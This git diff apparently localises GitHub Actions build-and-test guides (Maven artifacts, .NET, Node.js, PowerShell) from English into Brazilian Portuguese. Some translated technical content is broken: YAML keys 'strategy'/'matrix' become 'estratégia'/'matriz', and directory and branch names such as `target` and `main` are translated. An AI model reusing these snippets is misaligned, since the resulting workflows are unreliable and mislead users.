+Após a sua criação ter sido criada com sucesso e os seus testes aprovados, é possível que você deseje fazer o upload dos Java resultantes como um artefato de criação. Isso armazenará os pacotes criados como parte da execução do fluxo de trabalho e permitirá que você faça o download desses pacotes. Os artefatos podem ajudá-lo a testar e depurar os pull requests no seu ambiente local antes de serem mesclados. Para obter mais informações, consulte "[Dados recorrentes do fluxo de trabalho que usam artefatos](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)".
 
-Maven will usually create output files like JARs, EARs, or WARs in the `target` directory. To upload those as artifacts, you can copy them into a new directory that contains artifacts to upload. For example, you can create a directory called `staging`. Then you can upload the contents of that directory using the `upload-artifact` action.
+De modo geral, o Maven criará arquivos de saída como JARs, EARs ou WARs no diretório `alvo`. Para fazer o upload como artefatos, você pode copiá-los em um novo diretório que contém artefatos a serem subidos. Por exemplo, você pode criar um diretório denominado `treinamento`. Em seguida, você pode fazer o upload do conteúdo desse diretório usando a ação `upload-artifact`.
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-net.md b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-net.md
index 774d757556..f7cd669786 100644
--- a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-net.md
+++ b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-net.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing .NET
-intro: You can create a continuous integration (CI) workflow to build and test your .NET project.
+title: Criar e testar .NET
+intro: Você pode criar um fluxo de trabalho de integração contínua (CI) para criar e testar o seu projeto .NET.
 redirect_from:
   - /actions/guides/building-and-testing-net
 versions:
@@ -8,31 +8,31 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Build & test .NET
+shortTitle: Criar & test .NET
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide shows you how to build, test, and publish a .NET package.
+Este guia mostra como criar, testar e publicar um pacote no .NET.
 
-{% ifversion ghae %} To build and test your .NET project on {% data variables.product.prodname_ghe_managed %}, the .NET Core SDK is required. {% data reusables.actions.self-hosted-runners-software %}
-{% else %} {% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with preinstalled software, which includes the .NET Core SDK. For a full list of up-to-date software and the preinstalled versions of .NET Core SDK, see [software installed on {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners).
+{% ifversion ghae %} Para criar e testar seu projeto .NET no {% data variables.product.prodname_ghe_managed %}, é necessário o SDK Core do .NET. {% data reusables.actions.self-hosted-runners-software %}
+Os executores hospedados em {% else %} {% data variables.product.prodname_dotcom %} têm um cache de ferramentas com software pré-instalado, que inclui o SDK Core do .NET. Para uma lista completa de software atualizado e as versões pré-instaladas do .NET Core SDK, consulte [o software instalado nos executores hospedados em {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners).
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-You should already be familiar with YAML syntax and how it's used with {% data variables.product.prodname_actions %}. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
+Você já deve estar familiarizado com a sintaxe YAML e como é usado com {% data variables.product.prodname_actions %}. Para obter mais informações, consulte "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
 
-We recommend that you have a basic understanding of the .NET Core SDK. For more information, see [Getting started with .NET](https://dotnet.microsoft.com/learn).
+Recomendamos que você tenha um entendimento básico do .NET Core SDK. Para obter mais informações, consulte [Primeiros passos com o .NET](https://dotnet.microsoft.com/learn).
 
-## Using the .NET starter workflow
+## Usando o fluxo de trabalho inicial do .NET
 
-{% data variables.product.prodname_dotcom %} provides a .NET starter workflow that should work for most .NET projects, and this guide includes examples that show you how to customize this starter workflow. For more information, see the [.NET starter workflow](https://github.com/actions/setup-dotnet).
+{% data variables.product.prodname_dotcom %} fornece um fluxo de trabalho inicial do .NET que deve funcionar na maior parte dos projetos do .NET e este guia inclui exemplos que mostram como personalizar este fluxo de trabalho inicial. Para obter mais informações, consulte o [fluxo de trabalho inicial do .NET](https://github.com/actions/setup-dotnet).
 
-To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository.
+Para iniciar rapidamente, adicione o fluxo de trabalho inicial para o diretório `.github/workflows` do seu repositório.
 
 {% raw %}
 ```yaml
@@ -63,13 +63,13 @@ jobs:
 ```
 {% endraw %}
 
-## Specifying a .NET version
+## Especificando uma versão do .NET
 
-To use a preinstalled version of the .NET Core SDK on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `setup-dotnet` action. This action finds a specific version of .NET from the tools cache on each runner, and adds the necessary binaries to `PATH`. These changes will persist for the remainder of the job.
+Para usar uma versão pré-instalada do .NET Core SDK em um executor hospedado em {% data variables.product.prodname_dotcom %}, use a ação `setup-dotnet`. Esta ação encontra uma versão específica do .NET do cache de ferramentas em cada executor e adiciona os binários necessários para `PATH`. Estas alterações persistirão para o resto do trabalho.
 
-The `setup-dotnet` action is the recommended way of using .NET with {% data variables.product.prodname_actions %}, because it ensures consistent behavior across different runners and different versions of .NET. If you are using a self-hosted runner, you must install .NET and add it to `PATH`. For more information, see the [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk) action.
+A ação `setup-dotnet` é a forma recomendada de usar .NET com {% data variables.product.prodname_actions %}, porque garante um comportamento consistente em executores diferentes e versões diferentes do .NET. Se você estiver usando um executor auto-hospedado, você deverá instalar o .NET e adicioná-lo ao `PATH`. Para obter mais informações, consulte a ação [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk).
 
-### Using multiple .NET versions
+### Usar múltiplas versões do .NET
 
 {% raw %}
 ```yaml
@@ -97,9 +97,9 @@ jobs:
 ```
 {% endraw %}
 
-### Using a specific .NET version
+### Usar uma versão específica do .NET
 
-You can configure your job to use a specific version of .NET, such as `3.1.3`. Alternatively, you can use semantic version syntax to get the latest minor release. This example uses the latest minor release of .NET 3.
+Você pode configurar o seu trabalho para usar uma versão específica do .NET, como `3.1.3`. Como alternativa, você pode usar a sintaxe da versão semântica para obter a última versão secundária. Este exemplo usa a versão mais recente do .NET 3.
 
 {% raw %}
 ```yaml
@@ -111,9 +111,9 @@ You can configure your job to use a specific version of .NET, such as `3.1.3`. A
 ```
 {% endraw %}
 
-## Installing dependencies
+## Instalar dependências
 
-{% data variables.product.prodname_dotcom %}-hosted runners have the NuGet package manager installed. You can use the dotnet CLI to install dependencies from the NuGet package registry before building and testing your code. For example, the YAML below installs the `Newtonsoft` package.
+Os executores hospedados em {% data variables.product.prodname_dotcom %} têm o gerenciador do pacote NuGet instalado. Você pode usar o dotnet CLI para instalar dependências do registro do pacote NuGet antes de criar e testar seu código. Por exemplo, o YAML abaixo instala o pacote `Newtonsoft`.
 
 {% raw %}
 ```yaml
@@ -130,11 +130,11 @@ steps:
 
 {% ifversion fpt or ghec %}
 
-### Caching dependencies
+### Memorizar dependências
 
-You can cache NuGet dependencies using a unique key, which allows you to restore the dependencies for future workflows with the [`cache`](https://github.com/marketplace/actions/cache) action. For example, the YAML below installs the `Newtonsoft` package.
+Você pode armazenar em cache dependências do NuGet usando uma chave única, o que lhe permite restaurar as dependências para futuros fluxos de trabalho com a ação [`cache`](https://github.com/marketplace/actions/cache). Por exemplo, o YAML abaixo instala o pacote `Newtonsoft`.
 
-For more information, see "[Caching dependencies to speed up workflows](/actions/guides/caching-dependencies-to-speed-up-workflows)."
+Para obter mais informações, consulte "[Memorizar dependências para acelerar fluxos de trabalho](/actions/guides/caching-dependencies-to-speed-up-workflows)".
 
 {% raw %}
 ```yaml
@@ -158,15 +158,15 @@ steps:
 
 {% note %}
 
-**Note:** Depending on the number of dependencies, it may be faster to use the dependency cache. Projects with many large dependencies should see a performance increase as it cuts down the time required for downloading. Projects with fewer dependencies may not see a significant performance increase and may even see a slight decrease due to how NuGet installs cached dependencies. The performance varies from project to project.
+**Observação:** Dependendo do número de dependências, pode ser mais rápido para usar o armazenamento de dependências. Os projetos com muitas dependências grandes devem ver um aumento no desempenho conforme reduz o tempo necessário para fazer o download. Os projetos com menos dependências podem não ver um aumento significativo no desempenho e até mesmo ver um ligeiro diminuir devido à forma como o NuGet instala dependências armazenadas em cache. O desempenho varia de projeto para projeto.
 
 {% endnote %}
 
 {% endif %}
 
-## Building and testing your code
+## Criar e testar seu código
 
-You can use the same commands that you use locally to build and test your code. This example demonstrates how to use `dotnet build` and `dotnet test` in a job:
+Você pode usar os mesmos comandos usados localmente para criar e testar seu código. Este exemplo demonstra como usar a `dotnet build` e o `dotnet test` em um trabalho:
 
 {% raw %}
 ```yaml
@@ -185,11 +185,11 @@ steps:
 ```
 {% endraw %}
 
-## Packaging workflow data as artifacts
+## Empacotar dados do fluxo de trabalho como artefatos
 
-After a workflow completes, you can upload the resulting artifacts for analysis. For example, you may need to save log files, core dumps, test results, or screenshots. The following example demonstrates how you can use the `upload-artifact` action to upload test results.
+Após a conclusão de um fluxo de trabalho, você poderá fazer o upload dos artefatos resultantes para análise. Por exemplo, é possível que você precise salvar os arquivos de registro, os despejos de núcleo, os resultados de teste ou capturas de tela. O exemplo a seguir demonstra como você pode usar a ação `upload-artefato` para fazer o upload de resultados de testes.
 
-For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+Para obter mais informações, consulte "[Dados recorrentes do fluxo de trabalho que usam artefatos](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)".
 
 {% raw %}
 ```yaml
@@ -225,9 +225,9 @@ jobs:
 ```
 {% endraw %}
 
-## Publishing to package registries
+## Publicar nos registros do pacote
 
-You can configure your workflow to publish your Dotnet package to a package registry when your CI tests pass. You can use repository secrets to store any tokens or credentials needed to publish your binary. The following example creates and publishes a package to {% data variables.product.prodname_registry %} using `dotnet core cli`.
+É possível configurar o seu fluxo de trabalho para publicar o pacote Dotnet em um pacote de registro quando o CI teste passa. Você pode usar segredos do repositório para armazenar quaisquer tokens ou credenciais necessárias para publicar seu binário. O exemplo a seguir cria e publica um pacote em {% data variables.product.prodname_registry %} usando `dotnet core cli`.
 
 ```yaml
 name: Upload dotnet package
diff --git a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md
index e22a423999..03d6dfdc37 100644
--- a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md
+++ b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md
@@ -1,7 +1,7 @@
 ---
-title: Building and testing Node.js or Python
-shortTitle: Build & test Node.js or Python
-intro: You can create a continuous integration (CI) workflow to build and test your project. Use the language selector to show examples for your language of choice.
+title: Criar e testar Node.js ou Python
+shortTitle: Criar & testar Node.js ou Python
+intro: É possível criar um fluxo de trabalho de integração contínua (CI) para criar e testar o seu projeto. Use o seletor de linguagem para mostrar exemplos para a sua linguagem de escolha.
 redirect_from:
   - /actions/guides/building-and-testing-nodejs-or-python
 versions:
diff --git a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md
index ecb2e61aa8..19f9f5b632 100644
--- a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md
+++ b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Node.js
-intro: You can create a continuous integration (CI) workflow to build and test your Node.js project.
+title: Criar e testar Node.js
+intro: É possível criar um fluxo de trabalho de integração contínua (CI) para criar e testar o seu projeto Node.js.
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions
   - /actions/language-and-framework-guides/using-nodejs-with-github-actions
@@ -16,31 +16,31 @@ topics:
   - CI
   - Node
   - JavaScript
-shortTitle: Build & test Node.js
+shortTitle: Criar & testar Node.js
 hasExperimentalAlternative: true
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide shows you how to create a continuous integration (CI) workflow that builds and tests Node.js code. If your CI tests pass, you may want to deploy your code or publish a package.
+Este guia mostra como criar um fluxo de trabalho de integração contínua (CI) que cria e testa o código Node.js. Se o seu teste de CI for aprovado, é possível que você deseje publicar seu código ou um pacote.
 
-## Prerequisites
+## Pré-requisitos
 
-We recommend that you have a basic understanding of Node.js, YAML, workflow configuration options, and how to create a workflow file. For more information, see:
+Recomendamos que você tenha um entendimento básico do Node.js, YAML, das opções de configuração do fluxo de trabalho e de como criar um arquivo do fluxo de trabalho. Para obter mais informações, consulte:
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
-- "[Getting started with Node.js](https://nodejs.org/en/docs/guides/getting-started-guide/)"
+- "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+- "[Começar com Node.js](https://nodejs.org/en/docs/guides/getting-started-guide/)"
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Using the Node.js starter workflow
+## Usando o fluxo de trabalho inicial do Node.js
 
-{% data variables.product.prodname_dotcom %} provides a Node.js starter workflow that will work for most Node.js projects. This guide includes npm and Yarn examples that you can use to customize the starter workflow. For more information, see the [Node.js starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/node.js.yml).
+{% data variables.product.prodname_dotcom %} fornece um fluxo de trabalho inicial do Node.js que funcionará para a maioria dos projetos do Node.js. Esse guia inclui exemplos de npm e Yarn que você pode usar para personalizar o fluxo de trabalho inicial. Para obter mais informações, consulte o [Fluxo de trabalho inicial do Node.js](https://github.com/actions/starter-workflows/blob/main/ci/node.js.yml).
 
-To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository. The workflow shown below assumes that the default branch for your repository is `main`.
+Para iniciar rapidamente, adicione o fluxo de trabalho inicial para o diretório `.github/workflows` do seu repositório. O fluxo de trabalho mostrado abaixo pressupõe que o branch padrão para o seu repositório é `principal`.
 
 {% raw %}
 ```yaml{:copy}
@@ -75,15 +75,15 @@ jobs:
 
 {% data reusables.github-actions.example-github-runner %}
 
-## Specifying the Node.js version
+## Especificar a versão do Node.js
 
-The easiest way to specify a Node.js version is by using the `setup-node` action provided by {% data variables.product.prodname_dotcom %}. For more information see, [`setup-node`](https://github.com/actions/setup-node/).
+A maneira mais fácil de especificar uma versão do Node.js é usar a ação `setup-node` fornecida pelo {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte [`setup-node`](https://github.com/actions/setup-node/).
 
-The `setup-node` action takes a Node.js version as an input and configures that version on the runner. The `setup-node` action finds a specific version of Node.js from the tools cache on each runner and adds the necessary binaries to `PATH`, which persists for the rest of the job. Using the `setup-node` action is the recommended way of using Node.js with {% data variables.product.prodname_actions %} because it ensures consistent behavior across different runners and different versions of Node.js. If you are using a self-hosted runner, you must install Node.js and add it to `PATH`.
+A ação `setup-node` considera uma versão do Node.js como uma entrada e configura essa versão no executor. A ação `setup-node` localiza uma versão específica do Node.js da cache das ferramentas em casa executor e adiciona os binários necessários ao `PATH`, que persiste no resto do trabalho. Usar a ação `setup-node` é a forma recomendada de usar o Node.js com {% data variables.product.prodname_actions %}, pois garante um comportamento consistente nos diferentes executores e nas diferentes versões do Node.js. Se você estiver usando um executor auto-hospedado, você deverá instalar o Node.js e adicioná-lo ao `PATH`.
 
-The starter workflow includes a matrix strategy that builds and tests your code with four Node.js versions: 10.x, 12.x, 14.x, and 15.x. The 'x' is a wildcard character that matches the latest minor and patch release available for a version. Each version of Node.js specified in the `node-version` array creates a job that runs the same steps.
+O fluxo de trabalho inicial inclui uma estratégia de matriz que compila e testa seu código com quatro versões do Node.js: 10.x, 12.x, 14.x e 15.x. O "x" é um caractere curinga que corresponde à última versão menor e à versão do patch disponível para uma versão. Cada versão do Node.js especificada na matriz `node-version` cria uma tarefa que executa as mesmas etapas.
 
-Each job can access the value defined in the matrix `node-version` array using the `matrix` context. The `setup-node` action uses the context as the `node-version` input. The `setup-node` action configures each job with a different Node.js version before building and testing code. For more information about matrix strategies and contexts, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix)" and "[Contexts](/actions/learn-github-actions/contexts)."
+Cada trabalho pode acessar o valor definido na matriz `node-version` usando o contexto `matriz`. A ação `setup-node` usa o contexto como entrada de `node-version`. A ação `setup-node` configura cada tarefa com uma versão diferente de Node.js antes de criar e testar o código. Para obter mais informações sobre estratégias e contextos de matriz, consulte "[Sintaxe do Fluxo de trabalho para {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix)" e "[Contextos](/actions/learn-github-actions/contexts)".
 
 {% raw %}
 ```yaml{:copy}
@@ -100,15 +100,15 @@ steps:
 ```
 {% endraw %}
 
-Alternatively, you can build and test with exact Node.js versions.
+Como alternativa, você pode criar e fazes testes com versões exatas do Node.js.
 
 ```yaml{:copy}
-strategy:
-  matrix:
+estratégia:
+  matriz:
     node-version: [8.16.2, 10.17.0]
 ```
 
-Or, you can build and test using a single version of Node.js too.
+Você também pode criar e testar usando uma versão única do Node.js.
 
 {% raw %}
 ```yaml{:copy}
@@ -133,20 +133,20 @@ jobs:
 ```
 {% endraw %}
 
-If you don't specify a Node.js version, {% data variables.product.prodname_dotcom %} uses the environment's default Node.js version.
+Se você não especificar uma versão do Node.js, o {% data variables.product.prodname_dotcom %} usará a versão-padrão do Node.js do ambiente.
 {% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %}
-{% else %} For more information, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+{% else %} Para obter mais informações, consulte "[Especificações para executores hospedados em {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
 {% endif %}
 
-## Installing dependencies
+## Instalar dependências
 
-{% data variables.product.prodname_dotcom %}-hosted runners have npm and Yarn dependency managers installed. You can use npm and Yarn to install dependencies in your workflow before building and testing your code. The Windows and Linux {% data variables.product.prodname_dotcom %}-hosted runners also have Grunt, Gulp, and Bower installed.
+Executores hospedados em {% data variables.product.prodname_dotcom %} têm gerenciadores de dependências npm e Yarn instalados. Você pode usar o npm e o Yarn para instalar dependências no seu fluxo de trabalho antes de criar e testar seu código. Os executores do Windows e Linux hospedados em {% data variables.product.prodname_dotcom %} também têm o Grunt, Gulp, e Bower instalado.
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can also cache dependencies to speed up your workflow. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+Ao usar executores hospedados em {% data variables.product.prodname_dotcom %}, você também poderá armazenar em cache dependências para acelerar seu fluxo de trabalho. Para obter mais informações, consulte "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Memorizar dependências para acelerar fluxos de trabalho</a>".
 
-### Example using npm
+### Exemplo de uso do npm
 
-This example installs the dependencies defined in the *package.json* file. For more information, see [`npm install`](https://docs.npmjs.com/cli/install).
+Este exemplo instala as dependências definidas no arquivo *package.json*. Para obter mais informações, consulte [`instalação do npm`](https://docs.npmjs.com/cli/install).
 
 ```yaml{:copy}
 steps:
@@ -159,7 +159,7 @@ steps:
   run: npm install
 ```
 
-Using `npm ci` installs the versions in the *package-lock.json* or *npm-shrinkwrap.json* file and prevents updates to the lock file. Using `npm ci` is generally faster than running `npm install`. For more information, see [`npm ci`](https://docs.npmjs.com/cli/ci.html) and "[Introducing `npm ci` for faster, more reliable builds](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)."
+O uso do `npm ci` instala as versões no arquivo *package-lock.json* ou *npm-shrinkwrap.json* e impede as atualizações do arquivo de bloqueio. Usar `npm ci` geralmente é mais rápido que executar a `instalação do npm`. Para obter mais informações, consulte [`npm ci`](https://docs.npmjs.com/cli/ci.html) e "[Introduzindo `npm` para criações mais rápidas e confiáveis](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)".
 
 {% raw %}
 ```yaml{:copy}
@@ -174,9 +174,9 @@ steps:
 ```
 {% endraw %}
 
-### Example using Yarn
+### Exemplo de uso do Yarn
 
-This example installs the dependencies defined in the *package.json* file. For more information, see [`yarn install`](https://yarnpkg.com/en/docs/cli/install).
+Este exemplo instala as dependências definidas no arquivo *package.json*. Para obter mais informações, consulte [`instalação do yarn`](https://yarnpkg.com/en/docs/cli/install).
 
 ```yaml{:copy}
 steps:
@@ -189,7 +189,7 @@ steps:
   run: yarn
 ```
 
-Alternatively, you can pass `--frozen-lockfile` to install the versions in the *yarn.lock* file and prevent updates to the *yarn.lock* file.
+Como alternativa, você pode aprovar o `--frozen-lockfile` para instalar as versões no arquivo *yarn.lock* e impedir atualizações no arquivo *yarn.lock*.
 
 ```yaml{:copy}
 steps:
@@ -202,15 +202,15 @@ steps:
   run: yarn --frozen-lockfile
 ```
 
-### Example using a private registry and creating the .npmrc file
+### Exemplo do uso de um registro privado e de criação o arquivo .npmrc
 
 {% data reusables.github-actions.setup-node-intro %}
 
-To authenticate to your private registry, you'll need to store your npm authentication token as a secret. For example, create a repository secret called `NPM_TOKEN`. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+Para efetuar a autenticação com seu registro privado, você precisará armazenar seu token de autenticação npm como um segredo. Por exemplo, crie um repositório secreto denominado `NPM_TOKEN`. Para obter mais informações, consulte "[Criando e usando segredos encriptados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
 
-In the example below, the secret `NPM_TOKEN` stores the npm authentication token. The `setup-node` action configures the *.npmrc* file to read the npm authentication token from the `NODE_AUTH_TOKEN` environment variable. When using the `setup-node` action to create an *.npmrc* file, you must set the `NODE_AUTH_TOKEN` environment variable with the secret that contains your npm authentication token.
+No exemplo abaixo, o segredo `NPM_TOKEN` armazena o token de autenticação npm. A ação `setup-node` configura o arquivo *.npmrc* para ler o token de autenticação npm a partir da variável de ambiente `NODE_AUTH_TOKEN`. Ao usar a ação `setup-node` para criar um arquivo *.npmrc*, você deverá definir a variável de ambiente `NODE_AUTH_TOKEN` com o segredo que contém seu token de autenticação npm.
 
-Before installing dependencies, use the `setup-node` action to create the *.npmrc* file. The action has two input parameters. The `node-version` parameter sets the Node.js version, and the `registry-url` parameter sets the default registry. If your package registry uses scopes, you must use the `scope` parameter. For more information, see [`npm-scope`](https://docs.npmjs.com/misc/scope).
+Antes de instalar as dependências, use a ação `setup-node` para criar o arquivo *.npmrc* file. A ação tem dois parâmetros de entrada. O parâmetro `node-version` define a versão do Node.js e o parâmetro `registry-url` define o registro-padrão. Se o registro do seu pacote usar escopos, você deverá usar o parâmetro `escopo`. Para obter mais informações, consulte [`npm-scope`](https://docs.npmjs.com/misc/scope).
 
 {% raw %}
 ```yaml{:copy}
@@ -230,7 +230,7 @@ steps:
 ```
 {% endraw %}
 
-The example above creates an *.npmrc* file with the following contents:
+O exemplo acima cria um arquivo *.npmrc* com o conteúdo a seguir:
 
 ```ini
 //registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}
@@ -238,11 +238,11 @@ The example above creates an *.npmrc* file with the following contents:
 always-auth=true
 ```
 
-### Example caching dependencies
+### Exemplo de memorização de dependências
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache and restore the dependencies using the [`setup-node` action](https://github.com/actions/setup-node).
+Ao usar executores hospedados em {% data variables.product.prodname_dotcom %}, você pode armazenar em cache e restaurar as dependências usando a ação [`setup-node`](https://github.com/actions/setup-node).
 
-The following example caches dependencies for npm.
+O exemplo a seguir armazena dependências do npm.
 ```yaml{:copy}
 steps:
 - uses: actions/checkout@v2
@@ -254,7 +254,7 @@ steps:
 - run: npm test
 ```
 
-The following example caches dependencies for Yarn.
+O exemplo a seguir armazena dependências para o Yarn.
 
 ```yaml{:copy}
 steps:
@@ -267,7 +267,7 @@ steps:
 - run: yarn test
 ```
 
-The following example caches dependencies for pnpm (v6.10+).
+O exemplo a seguir armazena dependências para pnpm (v6.10+).
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -287,11 +287,11 @@ steps:
 - run: pnpm test
 ```
 
-If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>".
+Se você tiver um requisito personalizado ou precisar de melhores controles para cache, você poderá usar a ação [`cache`](https://github.com/marketplace/actions/cache). Para obter mais informações, consulte "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Dependências de cache para acelerar fluxos de trabalho</a>".
 
-## Building and testing your code
+## Criar e testar seu código
 
-You can use the same commands that you use locally to build and test your code. For example, if you run `npm run build` to run build steps defined in your *package.json* file and `npm test` to run your test suite, you would add those commands in your workflow file.
+Você pode usar os mesmos comandos usados localmente para criar e testar seu código. Por exemplo, se você executar `criação da execução do npm` para executar os passos de compilação definidos no seu arquivo *package.json* e o `teste do npm` para executar seu conjunto de testes, você adicionaria esses comandos no seu arquivo de fluxo de trabalho.
 
 ```yaml{:copy}
 steps:
@@ -305,10 +305,10 @@ steps:
 - run: npm test
 ```
 
-## Packaging workflow data as artifacts
+## Empacotar dados do fluxo de trabalho como artefatos
 
-You can save artifacts from your build and test steps to view after a job completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+Você pode salvar artefatos das suas etapas de criação e teste para serem visualizados após a conclusão de um trabalho. Por exemplo, é possível que você precise salvar os arquivos de registro, os despejos de núcleo, os resultados de teste ou capturas de tela. Para obter mais informações, consulte "[Dados recorrentes do fluxo de trabalho que usam artefatos](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)".
 
-## Publishing to package registries
+## Publicar nos registros do pacote
 
-You can configure your workflow to publish your Node.js package to a package registry after your CI tests pass. For more information about publishing to npm and {% data variables.product.prodname_registry %}, see "[Publishing Node.js packages](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)."
+Você pode configurar o seu fluxo de trabalho para publicar o seu pacote Node.js em um pacote de registro após os seus testes de CI serem aprovados. Para obter mais informações sobre a publicação no npm e em {% data variables.product.prodname_registry %}, consulte "[Publicando pacotes do Node.js](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)".
diff --git a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-powershell.md b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-powershell.md
index 8983ffab2e..2f240ae978 100644
--- a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-powershell.md
+++ b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-powershell.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing PowerShell
-intro: You can create a continuous integration (CI) workflow to build and test your PowerShell project.
+title: Criar e testar PowerShell
+intro: É possível criar um fluxo de trabalho de integração contínua (CI) para criar e testar o seu projeto de PowerShell.
 redirect_from:
   - /actions/guides/building-and-testing-powershell
 versions:
@@ -14,38 +14,38 @@ type: tutorial
 topics:
   - CI
   - PowerShell
-shortTitle: Build & test PowerShell
+shortTitle: Criar & testar o PowerShell
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide shows you how to use PowerShell for CI. It describes how to use Pester, install dependencies, test your module, and publish to the PowerShell Gallery.
+Este guia mostra como usar PowerShell para CI. Ele descreve como usar o Pester, instalar dependências, testar seu módulo e publicar na Galeria do PowerShell.
 
-{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes PowerShell and Pester. 
+Executores hospedados em {% data variables.product.prodname_dotcom %} têm um cache de ferramentas com software pré-instalado que inclui PowerShell e Pester.
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
-{% else %}For a full list of up-to-date software and the pre-installed versions of PowerShell and Pester, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+{% else %}Para obter uma lista completa do software atualizado e das versões pré-instaladas do PowerShell e Pester, consulte "[Especificações para executores hospedados em {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+Você deve estar familiarizado com o YAML e a sintaxe do {% data variables.product.prodname_actions %}. Para obter mais informações, consulte "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
 
-We recommend that you have a basic understanding of PowerShell and Pester. For more information, see:
-- [Getting started with PowerShell](https://docs.microsoft.com/powershell/scripting/learn/ps101/01-getting-started)
+Recomendamos que você tenha um entendimento básico de PowerShell e Pester. Para obter mais informações, consulte:
+- [Primeiros passos com o PowerShell](https://docs.microsoft.com/powershell/scripting/learn/ps101/01-getting-started)
